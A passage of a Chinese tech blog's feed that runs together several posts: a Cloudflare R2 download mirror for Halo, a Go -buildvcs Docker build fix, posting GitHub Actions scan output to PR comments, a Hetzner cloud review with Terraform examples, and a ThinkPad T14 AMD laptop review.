"key": "config/Caddyfile2.x"
},
...
{
"uploaded": "2022-11-13T07:05:29.984Z",
"checksums": {
"md5": "44f8a1a6821dbfe69d3577c451862bac"
},
"size": 79495690,
"key": "release/halo-v1.4.14.jar"
}
]
并且 URI 改为 key 中对应的路径也可以正常下载对应的文件了。
以上完整代码被我放到了 halo-sigs/halo-dl-api,各位如果有兴趣的话可以 一键三联(Star,Fork,Watch) 来围观下。
这里我们为了减少一些潜在的恶意流量,我们可以加一点 Ratelimit 在这里,今年 Cloudflare 宣布了对于所有 Plan 都有 Unmetered Rate limiting: Back in 2017 we gave you Unmetered DDoS Mitigation, here’s a birthday gift: Unmetered Rate Limiting 之后,免费用户可以针对 Path 来做一点 Ratelimit 了,设置为「对于一个 IP 而言 10 秒钟访问了超过 20 次就自动 429」 ,类似如下:

现在就到了整个旅程的最后一步——提供一个活人能看的页面了,由于前端方面我是几乎一窍不通,所以这里只好暂时用了一下 NextJS 的快速开始模板并加入一些魔改,在和 ESLint 以及 next 做了许多斗争,期间不厌其烦地打扰 @tukideng 询问各种奇葩问题并被白眼数次之后,往 Cloudflare Pages 上一挂,用 next 一 build,嘿,就出现了这么个神奇的页面。

网址: https://download.halo.run/ 看上去像是能用的,不是嘛?
最后我们来随意测个速吧,测速的机器为 Hetzner 德国的机器,分别下载以下两个地址:
速度分别如下:
wget https://github.com/halo-dev/halo/releases/download/v1.6.0/halo-1.6.0.jar
--2022-11-14 08:31:07-- https://github.com/halo-dev/halo/releases/download/v1.6.0/halo-1.6.0.jar
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/126178683/8ee886dc-48a4-47ce-a096-47871737d506?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20221114%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20221114T003107Z&X-Amz-Expires=300&X-Amz-Signature=60fa40ea63def87878b9f8c499f12bdcc7b41775b394b78d3e436b8df8963ef9&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=126178683&response-content-disposition=attachment%3B%20filename%3Dhalo-1.6.0.jar&response-content-type=application%2Foctet-stream [following]
--2022-11-14 08:31:07-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/126178683/8ee886dc-48a4-47ce-a096-47871737d506?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20221114%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20221114T003107Z&X-Amz-Expires=300&X-Amz-Signature=60fa40ea63def87878b9f8c499f12bdcc7b41775b394b78d3e436b8df8963ef9&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=126178683&response-content-disposition=attachment%3B%20filename%3Dhalo-1.6.0.jar&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 96866731 (92M) [application/octet-stream]
Saving to: ‘halo-1.6.0.jar’
halo-1.6.0.jar 100%[=====================================>] 92.38M 23.3MB/s in 4.1s
2022-11-14 08:31:12 (22.3 MB/s) - ‘halo-1.6.0.jar’ saved [96866731/96866731]
wget https://dl-r2.halo.run/release/halo-1.6.0.jar
--2022-11-14 08:32:02-- https://dl-r2.halo.run/release/halo-1.6.0.jar
Resolving dl-r2.halo.run (dl-r2.halo.run)... 2a06:98c1:3121::3, 2a06:98c1:3120::3, 188.114.96.3, ...
Connecting to dl-r2.halo.run (dl-r2.halo.run)|2a06:98c1:3121::3|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 96866731 (92M) [application/zip]
Saving to: ‘halo-1.6.0.jar’
halo-1.6.0.jar 100%[=====================================>] 92.38M 27.6MB/s in 3.4s
2022-11-14 08:32:07 (27.6 MB/s) - ‘halo-1.6.0.jar’ saved [96866731/96866731]
以上,希望能给耐心看到这里的你带来一些新的灵感~
Golang 是个特别神奇的语言,他的语法不是很复杂,而且编译出来的程序是个 Binary,不需要安装什么额外的 runtime 就可以跑,如果要写一个 Hello World 之类的小程序只要跟着教程就可以快速写出来,如果要写点稍微复杂的 Web 应用,只要找个 Web 框架,比如 Gin,Fiber 之类的也可以有着和 ExpressJS 类似的体验,你看像我这种几乎不会写代码的人也可以在 BennyThink 大佬和 GitHub Copilot 以及一众 Stackoverflow 回答的参考和辅助下写出 WebP Server Go 这样的 Web 程序。
当然,Go 也有许多匪夷所思的点,比如他没有类似 pypi,npm 之类的中心化包管理平台,所有人写 Golang 的程序都是 import 了一堆 github.com 上面的东西,比如:
import (
"fmt"
"math"
"regexp"
"strconv"
"unicode"
"github.com/pingcap/errors"
"github.com/pingcap/tidb/parser/ast"
"github.com/pingcap/tidb/parser/auth"
"github.com/pingcap/tidb/parser/charset"
"github.com/pingcap/tidb/parser/mysql"
"github.com/pingcap/tidb/parser/terror"
"github.com/pingcap/tidb/parser/types"
)
等哪天 GitHub 无了还真不知道怎么去 import 这些包,此外还有 GOPATH 等问题导致看到很多人把自己的所有 Go 项目都放在 /home/User/go/ 下面进行开发,非常莫名奇妙。
由于 Go 1.17 版本已经 EOL,我们对 WebP Server Go 的构建版本进行升级,由于 Golang 升级一般来说就是换一个镜像的事情,所以我们将构建的镜像从:
FROM golang:1.17.4-alpine as builder
换为了
FROM golang:1.19.0-alpine as builder
非常简单,然后很快,CI 就告诉我们镜像构建就不成功了(这种事件在某些公司内部就会有人大喊:「CI 挂了,@xxx 看看」):
https://github.com/webp-sh/webp_server_go/runs/7784058473?check_suite_focus=true
#14 [builder 6/6] RUN cd /build && sed -i "s|.\/pics|/opt/pics|g" config.json && sed -i "s|""|"/opt/exhaust"|g" config.json && sed -i 's/127.0.0.1/0.0.0.0/g' config.json && go build -ldflags="-s -w" -o webp-server .
#14 0.395 error obtaining VCS status: exit status 128
#14 0.395 Use -buildvcs=false to disable VCS stamping.
#14 ERROR: process "/bin/sh -c cd /build && sed -i \"s|.\\/pics|${IMG_PATH}|g\" config.json && sed -i \"s|\\\"\\\"|\\\"${EXHAUST_PATH}\\\"|g\" config.json && sed -i 's/127.0.0.1/0.0.0.0/g' config.json && go build -ldflags=\"-s -w\" -o webp-server ." did not complete successfully: exit code: 1
用中文搜了一下,CSDN 告诉我两个选项:
再次尝试编译仍然报相同的错误。 发现并不是要在主机修改GOFLAGS参数,而是要在docker容器内的go环境修改该参数。
所幸后者除了技术可能有点不太熟练以外解决方式还算靠谱,让我们来看看这个东西到底是什么吧.
从 Go 1.18 的 Release Note 中会发现有这么一段话:
The go command now embeds version control information in binaries. It includes the currently checked-out revision, commit time, and a flag indicating whether edited or untracked files are present. Version control information is embedded if the go command is invoked in a directory within a Git, Mercurial, Fossil, or Bazaar repository, and the main package and its containing main module are in the same repository. This information may be omitted using the flag
-buildvcs=false.
可以看到从 Go 1.18 开始 Go 自带了 Version control ,这就导致如果你是在一个 Git 目录下,且这个目录有一个坏掉的 .git 目录的情况下用 go build 之类的操作的话,就会遇到以上的问题,但为什么会有一个坏掉的 .git 目录在构建环境中呢?
这得从某人加入了 .dockerignore 文件开始说起,由于技艺不精,一开始我们的 .dockerignore 里面是写成了 .git/*,导致这个目录本身上并没有被 Ignore 掉(而且这种问题在不出错的时候真的很难看出来,毕竟谁会构建镜像的时候去 Dockerfile 里面加一句 ls -a 看看到底传进去了什么东西呢,不看不知道,一看发现大家基本都在里面:
#0 0.071 .
#0 0.071 ..
#0 0.071 .dockerignore
#0 0.071 .git
#0 0.071 .github
#0 0.071 .gitignore
#0 0.071 .idea
#0 0.071 Dockerfile
#0 0.071 builds
#0 0.071 config.go
#0 0.071 config.json
#0 0.071 coverage.txt
#0 0.071 encoder.go
#0 0.071 encoder_test.go
#0 0.071 exhaust
#0 0.071 go.mod
#0 0.071 go.sum
#0 0.071 helper.go
#0 0.071 helper_test.go
#0 0.071 pics
#0 0.071 prefetch.go
#0 0.071 prefetch_test.go
#0 0.071 remote-raw
#0 0.071 router.go
#0 0.071 router_test.go
#0 0.071 scripts
#0 0.071 update.go
#0 0.071 update_test.go
#0 0.071 webp-server.go
#0 0.071 webp-server_test.go
#0 0.161 error obtaining VCS status: exit status 128
#0 0.161 Use -buildvcs=false to disable VCS stamping.
------
由于写的是 .git/*,所以构建环境中会有个空的 .git 目录,如果在 Dockerfile 中加入一个 git status 的话可以看到:
> [builder 6/7] RUN cd /build && git status:
#0 0.078 fatal: not a git repository (or any of the parent directories): .git
所以这里就导致了上面的报错。
知道了怎么回事我们就可以针对性地解决这个问题了,如果你和我们一样在容器中构建应用的话,可以:
直接在 .dockerignore 中加入一行:
.git
来让 Docker 构建的时候直接不复制 .git 目录到构建环境中。
或者也可以丑一点,在 Dockerfile 中加入一行 rm -rf .git,当然,这样就有点诡异了,如果本地 .git 目录太大的话, COPY . 这类操作会非常的卡
或者你也可以把 Go 版本降级到 1.18 以下
如果你是在容器以外的地方构建应用,且你的 Git 仓库有问题(无论是权限问题还是啥)的话,在构建参数中加入一个 -buildvcs=false 即可。
我们遇到的问题是由两个问题构成的:
.dockerignore 文件一开始就没写对-buildvcs 默认开启也有点奇怪)坏处是阻塞了一会我们的开发,好处是帮我们发现了一个之前一直没注意到的问题,可能这就是 “工业级语言” 吧。
修完这个问题之后,我们又开始和 Golang 官方库解析图片时的报错去斗争了,谁能想到一个语言要解析一个图片还得 os.Open() 之后 png.Decode() 来操作,而且还会报 invalid format: invalid checksum 和 corrupted: invalid JPEG format: missing 0xff00 sequence 这种错呢?可以参考: https://github.com/webp-sh/webp_server_go/issues/137.
这个只是一个简单的记录和分享,没啥技术含量
在 CI 中我们会大量使用 GitHub Actions “作为质量门进行把关”,一般在 PR 中我们会设置 PR 必须跑过测试才能点 Merge,我们的 GitHub Actions Workflow 一般会这么写:
on:
pull_request:
branches:
- master
然后我们就可以通过 CI 是否通过来判断是否可以考虑合并 PR,但是要手动点开看日志有的时候也太烦了,所以就有了类似 GitOps (注意,这里并不是 GitOps)的玩法,直接把某个步骤的结果输出到对应的 PR 评论上,例如,最近挺火的 Infracost,只要这样写:
- name: Terraform plan
run: terraform plan -out tfplan.binary
working-directory: ${{ env.working-directory }}
- name: Terraform show
run: terraform show -json tfplan.binary > plan.json
working-directory: ${{ env.working-directory }}
- name: Setup Infracost
uses: infracost/actions/setup@v1
with:
api-key: ${{ secrets.INFRACOST_API_KEY }}
- name: Generate Infracost JSON
run: infracost breakdown --path plan.json --format json --out-file /tmp/infracost.json
working-directory: ${{ env.working-directory }}
- name: Post Infracost comment
run: |
infracost comment github --path /tmp/infracost.json \
--repo $GITHUB_REPOSITORY \
--github-token ${{github.token}} \
--pull-request ${{github.event.pull_request.number}} \
--behavior update
就可以配合 Terraform 在每次 PR 中修改了一些基础设施之后评论 PR 分别告诉我们这个 PR 会修改哪些基础设施,同时告诉我们这么修改了之后会对费用有什么影响:


非常的直观,这样在每个 PR 的时候所有开发人员都可以知道这么个 PR 到底会不会给自己钱包开个窟窿了。
但是有的时候我们希望一些别的内容也可以有类似的输出该怎么操作呢?
一般来说网上会建议我们按照:
echo ::set-output name=docker_tag::$(echo ${GITHUB_REF} | cut -d'/' -f3)-${GITHUB_SHA}
类似这种蛇形走位的方式在某个 Step 中设置一个 output ,然后在后续 Step 中通过 ${{ steps.vars.outputs.docker_tag }} 这种方式来获取。
(然而很多场景下这个方法得到的 outputs 都是空的,非常诡异)
这里简单记录一个可用的例子,希望可以帮到和我一样不想蛇形走位且希望简单方便的用法,例子如下:
- name: Scan for CVE
uses: mathiasvr/command-output@v1
id: trivy
with:
run: |
trivy image --no-progress --severity "HIGH,CRITICAL" ghcr.io/${{ steps.ghcr_string.outputs.lowercase }}
- name: Comment PR
uses: thollander/actions-comment-pull-request@v1
with:
message: |
```
${{ steps.trivy.outputs.stdout }}
```
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
将自己需要执行的所有指令放在 mathiasvr/command-output@v1 下,并设置一个 id,这样所有的输出结果都会被重定向到 stdout 中,在后续步骤中就可以使用 ${{ steps.<step_id>.outputs.stdout }} 这种方式直接获取到了,同时使用 thollander/actions-comment-pull-request@v1 方法打印到对应的 PR 中,这里的例子是使用 trivy 这个工具对每次 PR 构建的镜像进行安全扫描,并自动把扫描结果打印到 PR 记录中,对应的实际案例可以看这个 PR: Print all CVE results to PR comment by n0vad3v · Pull Request #130 · webp-sh/webp_server_go。
是不是很方便,比去买什么国字头 XX 安全公司的 Java 编写的 XX 安全产品是不是看上去正经多了?
Have Fun,以上。
]]>Hetzner Online GmbH is a company and data center operator based in Gunzenhausen, Germany.
Hetzner 是个德国的服务商,拥有自己的 Server Parks( https://www.hetzner.com/unternehmen/rechenzentrum ),据我个人观察,在 LocalBitcoins 切换到 Sendgrid 之前也是使用的 Hetzner 的机器来发的邮件。
对于我个人而言,Hetzner 最吸引我的地方在于以下几点。
由于我大量使用 Terraform 来管理自己的基础设施, Hetzner 的整体逻辑有点像 DigitalOcean,不像 AWS 有太多关于 VPC,Subnet,SG 的复杂配置,对于一个比较简单的项目而言,要创建对应的内网段,内网 IP,和机器来说的话, Terraform 文件基本类似如下简单:
机器配置,设置一个稳定的内网 IP:
resource "hcloud_server" "app_server" {
name = "app_server"
image = var.os_type
server_type = "cpx21"
location = "fsn1"
ssh_keys = [hcloud_ssh_key.default.id]
labels = {
"clickhouse" = "true"
}
backups = true
delete_protection = true
rebuild_protection = true
firewall_ids = [hcloud_firewall.server_firewall.id]
}
resource "hcloud_server_network" "app_network" {
server_id = hcloud_server.app_server.id
network_id = hcloud_network.nova_private.id
ip = "10.1.0.10"
}
网络段的设置:
resource "hcloud_network" "app_private" {
name = "app_private"
ip_range = var.ip_range
}
resource "hcloud_network_subnet" "app_private_subnet" {
network_id = hcloud_network.app_private.id
type = "cloud"
network_zone = "eu-central"
ip_range = var.ip_range
}
默认 SSH :
resource "hcloud_ssh_key" "default" {
name = "app_pem_key"
public_key = file("~/.ssh/new_id_rsa.pub")
}
不过没法通过 Terraform 来升级机器配置(这点感觉不如 AWS),升级机器需要手动关闭机器后登录到 Web 管理页面点击升级。
Yes, you can connect instances from our locations in Falkenstein, Nuremberg and Helsinki to the same network
只要在一个内网下,Hetzner 的欧洲三个可用区之间是内网互通的,而且之间的流量是免费的,比如从芬兰到德国的延迟是这样的:
root@ubuntu-2gb-hel1-1:~# ping 10.0.0.3
PING 10.0.0.3 (10.0.0.3) 56(84) bytes of data.
64 bytes from 10.0.0.3: icmp_seq=1 ttl=63 time=25.5 ms
64 bytes from 10.0.0.3: icmp_seq=2 ttl=63 time=23.9 ms
64 bytes from 10.0.0.3: icmp_seq=3 ttl=63 time=24.1 ms
64 bytes from 10.0.0.3: icmp_seq=4 ttl=63 time=23.9 ms
64 bytes from 10.0.0.3: icmp_seq=5 ttl=63 time=23.9 ms
64 bytes from 10.0.0.3: icmp_seq=6 ttl=63 time=23.9 ms
测速结果如下:
root@ubuntu-2gb-hel1-1:~# iperf3 -c 10.0.0.3
Connecting to host 10.0.0.3, port 5201
[ 5] local 10.0.0.2 port 40820 connected to 10.0.0.3 port 5201
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 88.6 MBytes 743 Mbits/sec 265 3.99 MBytes
[ 5] 1.00-2.00 sec 115 MBytes 965 Mbits/sec 0 3.99 MBytes
[ 5] 2.00-3.00 sec 115 MBytes 965 Mbits/sec 0 3.99 MBytes
[ 5] 3.00-4.00 sec 119 MBytes 996 Mbits/sec 0 3.99 MBytes
[ 5] 4.00-5.00 sec 116 MBytes 975 Mbits/sec 0 3.99 MBytes
[ 5] 5.00-6.00 sec 116 MBytes 975 Mbits/sec 0 3.99 MBytes
[ 5] 6.00-7.00 sec 116 MBytes 975 Mbits/sec 0 3.99 MBytes
[ 5] 7.00-8.00 sec 109 MBytes 912 Mbits/sec 271 2.86 MBytes
[ 5] 8.00-9.00 sec 116 MBytes 975 Mbits/sec 0 3.00 MBytes
[ 5] 9.00-10.00 sec 90.0 MBytes 755 Mbits/sec 317 1.51 MBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 1.08 GBytes 924 Mbits/sec 853 sender
[ 5] 0.00-10.02 sec 1.07 GBytes 920 Mbits/sec receiver
iperf Done.
root@ubuntu-2gb-hel1-1:~# iperf3 -c 10.0.0.3 -R
Connecting to host 10.0.0.3, port 5201
Reverse mode, remote host 10.0.0.3 is sending
[ 5] local 10.0.0.2 port 40824 connected to 10.0.0.3 port 5201
[ ID] Interval Transfer Bitrate
[ 5] 0.00-1.00 sec 96.1 MBytes 806 Mbits/sec
[ 5] 1.00-2.00 sec 114 MBytes 958 Mbits/sec
[ 5] 2.00-3.00 sec 119 MBytes 1.00 Gbits/sec
[ 5] 3.00-4.00 sec 67.5 MBytes 566 Mbits/sec
[ 5] 4.00-5.00 sec 66.7 MBytes 559 Mbits/sec
[ 5] 5.00-6.00 sec 68.2 MBytes 572 Mbits/sec
[ 5] 6.00-7.00 sec 70.5 MBytes 591 Mbits/sec
[ 5] 7.00-8.00 sec 73.2 MBytes 614 Mbits/sec
[ 5] 8.00-9.00 sec 73.4 MBytes 616 Mbits/sec
[ 5] 9.00-10.00 sec 59.8 MBytes 502 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.02 sec 812 MBytes 680 Mbits/sec 1099 sender
[ 5] 0.00-10.00 sec 809 MBytes 678 Mbits/sec receiver
iperf Done.
有了这样的结构的话,我们可以将 App (或者 K8s 集群)分散在不同的 Region 下,然后使用内网互联。
什么时候深圳到香港的内网可以这么跑而且免费就好了
如果说简单的 Terraform 这种对于大多数「The developer cloud」都有的话,那么价格这块也是一个非常重要的因素,首先我们可以看看大家用的很多的 DigitalOcean 的价格。

然后对比一下 Hetzner 的价格:

可以看到 Hetzner 即使到了 16Core,32G 的配置,价格也控制在了不到 50EUR/mo,对应 DO 上类似配置的是 General Purpose Droplets 的 8vCPUs,32GB 已经到了 272USD/mo,且 Hetzner 给所有的机器都给了 20TB 的流量。
(注:Hetzner 也是按照小时计费的)
如此高的性价比,我的第一个尝试便是在之前的 ClickHouse 测试「ClickHouse 各版本在不同 CPU 架构上的性能差异对比」中大量使用 Hetzner 的机器作为 Self-Hosted Runner,发现特别香,之后便将自己的各种异构(非生产)应用全部丢到了 Hetzner 上。
Hetzner 也有对应的缺点,对于我们常规用户而言一般是如下:
目前我已经将大部分自己的基础设施(包括但不限于 WebP Cloud Service,MagLink,GitHub Runner 等)迁移到了 Hetzner 上,并且感觉在我的使用场景下使用体验不错,如果你也想试试看的话,欢迎点以下链接来注册: https://hetzner.cloud/?ref=6moYBzkpMb9s ,这样你可以在注册后直接得到 20EUR 的 Credit 用于玩耍。
]]>本文在 2023-02-06 更新了 Possible Hardware bug 章节
当我还在 PingCAP 工作的时候,我的主力电脑是从大学时候一直流传下来的 ThinkPad X1 Carbon Gen5 ,但是由于当时买的是最低配置的版本,内存只有 8G,从大学毕业开始就已经越来越不够用了,在浏览器开了很多标签页且还需要使用 VSCode 进行开发的时候经常 RAM 用满 SWAP 狂写。
在 2020 年疫情开始之后,在家工作的时间越来越多,借着这个机会自己组装了一台 16G 内存的台式机,开启了长期 Remote 工作的生活,此时 ThinkPad 仅仅作为在偶尔需要出门的时候带上用来回复消息并处理简单事务的“终端机”。
在后来由于各种各样的需求(比如编译 TiKV),16G 内存也偶尔出现了不够用的情况,于是又给电脑额外加入了两条 16G 内存,让台式机内存扩展到了 48G,至此,台式机已经成为了一个比较稳定的工作电脑,可以应付几乎所有的日常工作了,看着几乎永远也用不满的内存和再也不用打开的 SWAP,工作时开 20+ 个容器和 50+ 浏览器标签时候看着已经使用了接近 40G 的内存,内心非常满足。
但是出门该怎么办?
本着这个需求我还是需要一台靠谱的笔记本电脑满足出门的工作需求,对于我个人的使用习惯(Fedora + i3WM)的情况来看,我对于笔记本的需求大概如下:
作为一个 ThinkPad 老用户,我的第一反应就是继续购买 ThinkPad X1 Carbon,但是看了一下 10Gen 的 X1 Carbon 国行最大也就 32G 内存并配置了一个 4K 的镜面屏幕,虽然 2W CNY 左右的价格对应这个配置来看性价比也没有差到离谱,但是一想到 32G 的板载内存 + 4K 镜面屏幕就让我对它失去了一切想法。
经过一番调研,发现只有 ThinkPad T14 AMD 版本符合这个要求,5699 CNY 的价格(16G RAM + 512G)加上 699 CNY 可以买到的单条 32G DDR4 3200Mhz 的内存,只要 6398 CNY,即可获得一个和 ThinkPad X1 Carbon 差不多的 CPU + 更大的内存,而重量只比 X1 Carbon 重了 300g。
购买方式为京东,链接分别为: https://item.jd.com/100028177970.html 和 https://item.jd.com/100007630859.html ,如果价格不是上述价格说明他们又开始耍猴了。

ThinkPad T14(左) 和 ThinkPad X1 Carbon(右) 对比(图片拍摄者:@tukideng)
.',;::::;,'. Nova@Think
.';:cccccccccccc:;,. ----------
.;cccccccccccccccccccccc;. OS: Fedora 3x (Workstation Edition) x86_64
.:cccccccccccccccccccccccccc:. Host: 20XKA001CD ThinkPad T14 Gen 2a
.;ccccccccccccc;.:dddl:.;ccccccc;. Kernel: 5.17.8-100.fc3x.x86_64
.:ccccccccccccc;OWMKOOXMWd;ccccccc:. Uptime: 23 days, 3 hours, 35 mins
.:ccccccccccccc;KMMc;cc;xMMc:ccccccc:. Packages: 6728 (rpm)
,cccccccccccccc;MMM.;cc;;WW::cccccccc, Shell: zsh 5.8.1
:cccccccccccccc;MMM.;cccccccccccccccc: Resolution: 2560x1440
:ccccccc;oxOOOo;MMM0OOk.;cccccccccccc: WM: i3
cccccc:0MMKxdd:;MMMkddc.;cccccccccccc; Theme: deepin [GTK3]
ccccc:XM0';cccc;MMM.;cccccccccccccccc' Icons: deepin [GTK3]
ccccc;MMo;ccccc;MMW.;ccccccccccccccc; Terminal: gnome-terminal
ccccc;0MNc.ccc.xMMd:ccccccccccccccc; CPU: AMD Ryzen 7 PRO 5850U with Radeon Graphics (16) @ 1.900GHz
cccccc;dNMWXXXWM0::cccccccccccccc:, GPU: AMD ATI 06:00.0 Cezanne
cccccccc;.:odl:.;cccccccccccccc:,. Memory: 22779MiB / 47058MiB
:cccccccccccccccccccccccccccc:'.
.:cccccccccccccccccccccc:;,..
'::cccccccccccccc::;,.
cpuinfo:
Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
Address sizes: 48 bits physical, 48 bits virtual
CPU(s): 16
On-line CPU(s) list: 0-15
Thread(s) per core: 2
Core(s) per socket: 8
Socket(s): 1
NUMA node(s): 1
Vendor ID: AuthenticAMD
CPU family: 25
Model: 80
Model name: AMD Ryzen 7 PRO 5850U with Radeon Graphics
Stepping: 0
Frequency boost: enabled
CPU MHz: 1600.000
CPU max MHz: 4505.0781
CPU min MHz: 1600.0000
BogoMIPS: 3793.17
Virtualization: AMD-V
L1d cache: 256 KiB
L1i cache: 256 KiB
L2 cache: 4 MiB
L3 cache: 16 MiB
NUMA node0 CPU(s): 0-15
Vulnerability Itlb multihit: Not affected
Vulnerability L1tf: Not affected
Vulnerability Mds: Not affected
Vulnerability Meltdown: Not affected
Vulnerability Spec store bypass: Mitigation; Speculative Store Bypass disabled via prctl
Vulnerability Spectre v1: Mitigation; usercopy/swapgs barriers and __user pointer sanitization
Vulnerability Spectre v2: Mitigation; Retpolines, IBPB conditional, IBRS_FW, STIBP always-on, RSB filling
Vulnerability Srbds: Not affected
Vulnerability Tsx async abort: Not affected
Flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl nonstop_tsc cpuid extd_apicid aperfmperf rapl pni pclmulqdq monitor ssse3 fma cx16 sse4_1 sse4_2 movbe popcnt aes
xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt tce topoext perfctr_core perfctr_nb bpext perfctr_llc mwaitx cpb cat_l3 cdp_l3 hw_pstate ssbd mba ibrs ibpb stibp vmmcall fsgsbase bmi1 avx2 smep bmi2 erms invpcid c
qm rdt_a rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 xsaves cqm_llc cqm_occup_llc cqm_mbm_total cqm_mbm_local clzero irperf xsaveerptr rdpru wbnoinvd cppc arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold avic v_v
msave_vmload vgif v_spec_ctrl umip pku ospke vaes vpclmulqdq rdpid overflow_recov succor smca fsrm
网卡信息:
02:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 0e)
03:00.0 Network controller: MEDIATEK Corp. MT7921 802.11ax PCI Express Wireless Network Adapter
04:00.0 Unassigned class [ff00]: Realtek Semiconductor Co., Ltd. RTS522A PCI Express Card Reader (rev 01)
05:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 15)

ThinkPad T14(右) 和 ThinkPad X1 Carbon(左) 对比(图片拍摄者:@tukideng)
对于续航而言,在日常工作的时候(两个浏览器总共开 40+ 个标签,一个 VSCode ,10+ 个容器(包括 MySQL 和 Go 应用)),此时内存使用量在 30G ~ 40G 之间,Load Average 0.9 ~ 3.0 之间浮动,i3WM 显示满电续航大约为 6 小时,在这一点上似乎甚至有点不如已经使用多年的 X1 Carbon。
发现如果在 Linux 上需要切换不同电源模式的话可以用类似如下指令:
echo powersave | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor
echo performance | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor
对于 Fedora 而言,没有遇到任何驱动问题,直接安装即可,如果需要用 brightlight 调节屏幕亮度的话需要手动指定一下亮度文件,指令类似如下:
brightlight -d 20 -f /sys/class/backlight/amdgpu_bl0
买回来的时候 BIOS 版本比较老,可以直接从联想官网 https://think.lenovo.com.cn/support/driver/driverdetail.aspx?DEditid=94134&docTypeID=DOC_TYPE_DRIVER&driverID=undefined&treeid=PF3FQAQJ&args=%3Fcategoryid%3DPF3FQAQJ%26CODEName%3DThinkPad%2520T14%2520AMD%2520Gen%25202%26SearchType%3D%25201%26wherePage%3D%25202 上找到 「光盘版」驱动用 gnome-disks 写到 U 盘上并通过从 U 盘启动的方式进行安装。
这里有一点比较奇怪,可能是由于散热的问题,在上述负载下,通过 glances 看到 CPU 温度在 55C 左右,风扇依然会以一个比较低的转速常年开启(虽然噪音相比较 X1C 小很多)。
这个部分是在 2023-02-06 更新的
在使用过程中遇到了如下问题:
笔记本常年不会手动关机,现在遇到的问题是它会在半夜偶发自动关机(可能没有关机,各个电源灯都是亮的,但是外接显示屏显示绿色,笔记本显示屏显示纯黑色,键盘鼠标没有任何响应)的问题,遇到这种问题一般只能长按电源硬关机

笔记本温度监控图,中线那些直线就是监控丢了之后直到第二天起床重新后监控恢复之后直接两边数据点连接了拉出来的,监控上显示关机前(或者至少最后看到有监控上传数据的时间)没有任何 CPU/RAM/温度 异常,所以应该也不是过热保护的问题
BIOS 版本是最新的(1.21),且在 BIOS 中 Sleep State 选的是 Linux ,并关闭了 CPU Power Management (最早 Sleep State 是 Windows 10 ,且 CPU Power Management 是 Enabled ,当时怀疑是这两个原因导致,关闭后发现问题还是存在
前段时间测过把这个硬盘丢 AMD CPU 的台式机上跑,然后找个 Windows 的硬盘放在笔记本上,两边持续开机 10+ 天都没有出现类似的问题。
用 journalctl -xe -b -1 看关机附近也没看到异常的日志,目前怀疑是 AMD CPU 的 firmware 上有什么 Bug 或者之类的情况,暂时这个问题没有得到解决。
电脑买来的第一时间我就把它拆开加装了内存并换上了原有的 NVMe SSD,从拆的手感而言,D 面硬度不如 ThinkPad X1 Carbon,有种塑料的感觉,而且自带的 SSD 螺丝非常的紧,直接干废了我的一个螺丝刀…

键盘不是类似 X1 Carbon 那样的光滑平面了,而是一个比较粗糙的平面,按压手感相比较 X1 Carbon 有所下降,但是好在下降不多。

屏幕素质和音响一如既往的一般,不应该对他们有什么期待,此外这台电脑自带 RJ45 接口,对于我这种在家所有能接网线的设备都要接网线的人来说是一大福利(再也不用什么 RJ45 -> Type-C 转接了),这点好评。
别的方面中规中矩,就是一个标准的 ThinkPad 的感觉,网上也找不到针对这台电脑的 Torture Test 所以至于浇水上去会不会直接挂掉也有点难说,不过不考虑这些点的话,似乎性价比不错了。
简评以上,如果之后有想到什么别的我会继续更新这篇文章的。
]]>我也不知道这个有什么用,只是感觉做起来比较好玩。
在看 Görli Testnet 的 Etherscan 的时候,比如这个链接: https://goerli.etherscan.io/token/0x3ffc03f05d1869f493c7dbf913e636c6280e0ff9#readContract ,可以直接看到一个合约的一些基本信息,比如 Decimals,Max Total Supply 之类的

于是好奇有没有什么合理的办法直接从链上读到这些数据(而不是基于别人的 API 套娃整一个新的 API 出来)。
其实网上有一些类似的文章(可以参考本文底部的 References),但是有一些问题,比如大家的文章的 solidity 都是一个非常上古的版本:
pragma solidity ^0.4.24;
而且文章中要查询 ERC20 的合约都是自己写了一个 interface,但是后来我发现对于这种 Public Interface 完全可以使用 OpenZeppelin 写好的, 比如 ERC20 的在 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol 这里。
